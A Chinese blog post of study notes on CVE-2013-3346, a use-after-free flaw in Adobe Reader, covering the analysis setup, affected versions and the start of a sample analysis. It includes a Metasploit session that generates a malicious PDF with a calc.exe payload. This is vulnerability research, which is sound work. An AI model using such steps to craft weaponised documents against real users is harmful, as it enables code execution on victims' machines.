欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]CVE-2013-3346学习笔记

[原创]CVE-2013-3346学习笔记

CVE-2013-3346学习笔记

CVE-2013-3346是PDF阅读器Adobe Reader的一个UAF漏洞。以下是我的学习笔记。

1.分析环境

  • 操作系统:Win7 / XP SP3
  • 调试器:Windbg / OllyDbg
  • 反汇编:IDA Pro 7.0
  • Adobe Reader : 9.3.4

2.基本信息

2.1 使用Metasploit生成样本,配置信息如下

msf exploit(windows/fileformat/adobe_toolbutton) > show options 

Module options (exploit/windows/fileformat/adobe_toolbutton):

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   FILENAME  msf.pdf          yes       The file name.

Payload options (windows/exec):

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   CMD       calc.exe         yes       The command string to execute

   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

   **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**

Exploit target:

   Id  Name

   --  ----

   0   Windows XP / Adobe Reader 9/10/11

msf exploit(windows/fileformat/adobe_toolbutton) > run

[*] Creating 'msf.pdf' file...

[+] msf.pdf stored at /root/.msf4/local/msf.pdf

msf exploit(windows/fileformat/adobe_toolbutton) >

2.2 漏洞基本信息

漏洞存在于Adobe Reader 11.0.0到11.0.2, 10.0.0到10.1.6 以及9.0.0到9.5.4等版本,在处理ToolButton对象时存在一个UAF漏洞。

2.2.1 PDF样本文件分析

使用PdfStreamDumper打开样本文件,在第5个object位置,有一段JavaScript脚本,这是触发漏洞以及漏洞利用的主要部分。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功